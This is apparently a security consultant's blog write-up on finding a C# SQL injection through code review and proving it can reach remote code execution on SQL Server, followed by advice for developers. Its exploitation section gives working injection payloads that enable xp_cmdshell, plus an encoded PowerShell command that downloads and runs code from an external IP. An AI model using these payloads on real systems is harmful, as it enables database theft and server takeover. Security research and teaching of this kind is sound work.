Skip to content

Finding Sql Injection Through Code Analysis

Published: 2022-09-25

Stumbleing On A Vulnerability

Some time ago on a web assesment, while looking over code, I came to a file that was particularly interesting -- it was packed full with lines of raw SQL statements. It was written in C# and most of the SQL was quoted inside of the string.format function. Unfortunately, user input was being substitued into the SQL statements, so I immediatly thought one thing -- SQL Injection!

Before getting too excited, I had to first determine whether any of the code was even being used by the application. Just beacuse the code was there didn't mean it was actually utilized. The application had quite a large codebase and had been around for a while, so it was possible that code wasn't even being used.

Verifying Execution

In order to verify if the code executed I had to start tracing it back. I started with the line of code and worked back up to the function definiton. From there I searched for where that function might be called and so on. I worked my way up the call stack, and not long after, I found myself in the controller. From there I could easily determine the URL endpoint that would need to be called and any parameters that needed to be sent. All that was left was to determine if it was accessbile and used in the application.

Note

  • While the code structure is identical to the original, it has all been rewritten to hide any proprietary information. .

Vulnerable Code

  • The initial finding -- You can see the raw SQL with the potential injection point.
  • Anything sent in the place of the scKey (DEMO001 from the URL) will get inserted into the query and sent to the database.
public IEnumerable<CompanyImageDto> GetCompanyImage(string scKey, int? coId)
{
    IEnumerable<CompanyImageDto> returnable = Query<CompanyImageDto>(string.Format(
        "select * from CompanyscKeyImages where scKey = '{0}'",
                                                         ^^^
                                                 ***INSERTION POINT***
        scKey), new { }, false);
    if (returnable.IsNull())
    {
        returnable = Query<CompanyImageDto>(string.Format(
            "select * from CompanyscKeyImages where Companyid = {0}",
            coId), new { }, false);
    }

    return returnable;
}

Controller

  • One step up from the above code, into the controller, we can see the calling function and the URL parameter being passed down.
[HttpGet]
[Route("GetCompanyImage/{scKey}")]
public dynamic GetCompanyImage([FromUri] string scKey)
{
    var coImgList = service.UserService.GetCompanyImage(scKey);
    return coImgList;
}

HTTP Request

  • One more step up and we can see the API endpoint and HTTP request with the paramter (scKey)
  • The 'scKey" parameter is where we can try to insert our SQL.
GET /api/user/getCompanyImage/DEMO001 HTTP/1.1
                              ^^^^^^^
                            ***SCKEY***

Use In The Application

Once the API endpoint and parameter were found, it was time to verify that indeed the application was vulnerable to SQL Injection. In other words:

  • Is this API endpoint used in the application?
  • Is it accessible?

In the test environment, it was as simple as going directly to the url as shown below.

Because this was MS SQL Server on Windows a simple ' OR 1=1--' was sufficient to trigger the code without error and verifying a way into the backed server.

GET /api/user/getCompanyImage/'%20OR%201=1--' HTTP/1.1
                               ^^^^^^^^^^^^^
                               ***SQL TEST***

Exploiting

After determening that the URL was accessible, it was time to show how it could be used in an attack. In short, this was the Proof of Concept of where this vulnerability could lead.

Certainly, injecting and executing SQL directly to the database can have catastrophic consequences by itself. However, for the purposes of this POC, I wanted to go a bit further and show that in additon to data theft, this could potentially lead to further compromise.

Enableing Remote Code Execution

We use the SQL Server stored procedure sp_configure to make changes to the settings of the current server.

First, we need to allow advanced options to be changed.

sp_configure to enable show advanced options

';EXEC%20sp_configure%20'show%20advanced%20options',%201;%20RECONFIGURE;--

Next, if not enabled, we attempt to enable the feature xp_cmdshell which will allow a command shell to be spawned.

sp_configure to enable xp_cmdshell

';EXEC%20sp_configure%20'xp_cmdshell',%201;%20RECONFIGURE;--

Executing Code

Once xp_cmdshell is available, we attempt to get a PowerShell instance and use it to run the command below. We encoded in Base64 to pass it in the web request.

Command: 

certutil.exe -urlcache -f http://xxx.xxx.xxx.xxx/testing12345

Full Command w/ encoded:

';EXEC%20xp_cmdshell%20%27powershell%20-enc%20SQBFAFgAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAyADAALgAyADIAOAAuADIAMwA2AC4AMQAyADMAOgA4ADAAOAAwAC8AYQBiAGMAJwApACkA%27--'

Proof of Code Execution

Looking at the logs on the external server (this server would be at the IP address listed in the command), we can see the Certutil command was executed with the connection attempt requesting the 'testing12345' resource.

This shows that all commands injected were successfull and that we have the ability for remote code execution. At this point we could encode a reverse shell to gain a foothold on the SQL Server and make our way through the network.

Takeaways

Search Your Code

A simple search in code for "markers" of vulnerabilities can lead to some interesting findings. For instance, in C# that could be "string.format" or in more generic terms, you could simply search for "select *" and then look at how variables are placed into the sql statement. Either way, this is a simple thing all developers can easily implement into their development lifecycle.

Development Behavior

It's one thing to find a few instanaces of vulnerable code, but the same "pattern" used throughout the app is development "behavior". Perhaps it's outdated code, or a lack of security awareness or training that lead to coding practices that introduce vulnerabilities. In some cases, time constraints and project pressures may lead developers to prioritize speed over security, resulting in insecure code patterns.

Whatever the reason, vulnerabilities, especially relatively simple ones, should be removed as part of a continuous code assesment built into the development process. Even at a very basic level, a library of vulnerable code patterns could be maintained and each new release scanned against it. This simple, cost effective step, can make an application more secure and allow security testing to focus in harder to automate areas like business logic vulnerabilities.